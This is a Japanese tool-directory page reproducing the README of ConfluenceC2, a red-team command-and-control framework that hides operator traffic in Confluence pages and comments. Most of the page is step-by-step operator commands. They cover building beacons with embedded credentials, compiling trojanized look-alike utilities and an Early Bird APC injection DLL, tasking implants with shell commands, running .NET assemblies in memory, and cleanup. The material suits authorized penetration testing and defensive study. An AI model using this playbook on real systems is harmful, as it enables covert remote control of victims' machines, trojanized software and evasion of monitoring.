Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ConfluenceC2 — これは、他のあらゆるSaaS製品をC2にすることを目的としたプロジェクトであり、Confluenceはほんの始まりにすぎません。 | Kitploit
ツール/GitHubGitHub/dagowda/confluencec2
永続化メカニズム横移動スクリプトと自動化シェルコードデータ流出ポストエクスプロイトウェブセキュリティペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発リモートアクセストロイの木馬
132162日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
GitHubdagowda/confluencec2

ConfluenceC2

これは、他のあらゆるSaaS製品をC2にすることを目的としたプロジェクトであり、Confluenceはほんの始まりにすぎません。

リポジトリを見る
共有

Confluence C2

作者: Dhanush Arvind

image_alt

前提条件

Python 3.8+ および requests:

pip install requests

Confluence Cloud アカウントと API トークン(https://id.atlassian.com/manage-profile/security/api-tokens で生成)、または Confluence Server の認証情報

MinGW GCC のいずれか:

  • x86_64-w64-mingw32-gcc を備えた WSL(sudo apt install gcc-mingw-w64-x86-64)、または
  • Windows にネイティブにインストールされ PATH に追加された MinGW-w64

ステップ 1: C2 ページを作成する、またはブラウザを使用して手動で作成する

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    setup --space-key MYSPACE

Page ID を出力から保存してください。以下のすべてで必要になります。

カスタムタイトルを使用するには:

python c2_operator.py --url ... --email ... --api-token ... setup --space-key MYSPACE --title "Sprint Retro Notes"

ステップ2: 呼び出し元の設定

configure.py を実行して、Confluence の認証情報とページ ID を呼び出し元のソースに埋め込みます:

python configure.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --sleep 10000
引数必須説明
--urlはいConfluence のベース URL
--emailはいConfluence アカウントのメールアドレス
--api-tokenはいConfluence API トークン
--page-idはいステップ 1 で取得したページ ID
--sleepいいえビーコン間隔(ミリ秒、デフォルト: 10000)
--outputいいえ出力ディレクトリ(デフォルト: build)
--no-wiki-prefixいいえ/wiki プレフィックスをスキップ(Confluence Server 用)
--compileいいえgcc が PATH にある場合に自動コンパイル

ステップ 3: MinGW でコンパイル

オプション A: WSL MinGW クロスコンパイラ(Windows で推奨)

PowerShell から:

# Payload 1: Standalone caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/caller.exe /mnt/c/path/to/build/caller.c -lwinhttp -lws2_32

# Payload 2: Bundled QuickSysInfo
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickSysInfo.exe /mnt/c/path/to/build/caller_bundled.c -lwinhttp -lws2_32 -liphlpapi

# Payload 2 clean: QuickSysInfo without caller
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickSysInfo_clean.exe /mnt/c/path/to/build/host_app.c -lws2_32 -liphlpapi

# Payload 3/4: Caller as DLL
wsl x86_64-w64-mingw32-gcc -shared -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/caller_inject.dll /mnt/c/path/to/build/caller_dll.c -lwinhttp -lws2_32

# Payload 3: Early Bird APC injector
wsl x86_64-w64-mingw32-gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o /mnt/c/path/to/build/earlybird_inject.exe /mnt/c/path/to/build/earlybird_inject.c

# Payload 4: Bundled QuickProcView
wsl x86_64-w64-mingw32-gcc -O2 -DBUNDLED_BUILD -o /mnt/c/path/to/build/QuickProcView.exe /mnt/c/path/to/build/earlybird_bundled.c -lpsapi

# Payload 4 clean: QuickProcView without injection
wsl x86_64-w64-mingw32-gcc -O2 -o /mnt/c/path/to/build/QuickProcView_clean.exe /mnt/c/path/to/build/procview_app.c -lpsapi

/mnt/c/path/to/build を、プロジェクトのビルドディレクトリへの実際の WSL パスに置き換えてください。

オプション B: Windows 上のネイティブ MinGW

gcc -O2 -o build\caller.exe build\caller.c -lwinhttp -lws2_32
gcc -O2 -DBUNDLED_BUILD -o build\QuickSysInfo.exe build\caller_bundled.c -lwinhttp -lws2_32 -liphlpapi
gcc -O2 -o build\QuickSysInfo_clean.exe build\host_app.c -lws2_32 -liphlpapi
gcc -shared -O2 -DBUNDLED_BUILD -o build\caller_inject.dll build\caller_dll.c -lwinhttp -lws2_32
gcc -O2 -nostdlib -fno-stack-protector -fno-builtin -Wl,-e,_start -o build\earlybird_inject.exe build\earlybird_inject.c
gcc -O2 -DBUNDLED_BUILD -o build\QuickProcView.exe build\earlybird_bundled.c -lpsapi
gcc -O2 -o build\QuickProcView_clean.exe build\procview_app.c -lpsapi

オプション C: configure.py による自動コンパイル

python configure.py --url ... --email ... --api-token ... --page-id 12345678 --sleep 10000 --compile

手動でコンパイルした後、バイナリを payloads/ にコピーします:

copy build\*.exe payloads\
copy build\*.dll payloads\

ステップ4: 呼び出し元を実行する

ペイロード1: スタンドアロン

payloads\caller.exe

ペイロード2:トロイの木馬化されたQuickSysInfo

payloads\QuickSysInfo.exe

ペイロード3:Early Bird DLLインジェクション

両方のファイルは同じディレクトリに配置する必要があります:

cd payloads
earlybird_inject.exe

ペイロード4:トロイの木馬化されたQuickProcView

両方のファイルは同じディレクトリに配置する必要があります:

cd payloads
QuickProcView.exe

ステップ5: 操作 : CLI または Web GUI

オプション A: CLI オペレーター (c2_operator.py)

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    list

オプション B: Web GUI (c2_web.py)

python c2_web.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    --port 8443

ブラウザで http://127.0.0.1:8443 を開きます。

ステップ 6: コマンドを送信する

CLI 経由 : ページ本文

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "whoami"

CLI経由 : コメント

# Broadcast to all agents
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask "whoami"

# Target specific agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 ctask --agent 90bd7c8a "whoami"

Web GUI 経由

Console タブを開きます。Page Body または Comment モードを選択します。コマンドを入力し、対象のエージェントを選択して、Send をクリックします。

ブラウザ経由(ツール不要)

C2 ページに移動してコメントを投稿します:

[cmd] whoami

特定のエージェントを対象とする:

[cmd:90bd7c8a] whoami

インタラクティブシェル(CLIのみ)

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 interact 90bd7c8a

出力の読み取り

# All output
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read

# Filter by agent
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 read 90bd7c8a

.NET アセンブリをメモリ内で実行する

python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 inlineexecute 90bd7c8a C:\path\to\Seatbelt.exe "-group=all"

ステップ7: 呼び出し元を強制終了する

# Via operator script
python c2_operator.py --url ... --email ... --api-token ... --page-id 12345678 task 90bd7c8a "exit"

# Via browser comment
[cmd] exit

# Target specific agent
[cmd:90bd7c8a] exit

ステップ8: クリーンアップ

python c2_operator.py ^
    --url https://yourcompany.atlassian.net ^
    --email [email protected] ^
    --api-token YOUR_API_TOKEN ^
    --page-id 12345678 ^
    cleanup

または Web GUI 経由: Cleanup タブを開き、クリーンアップボタンをクリックします。

呼び出し元コマンド

ツールをダウンロード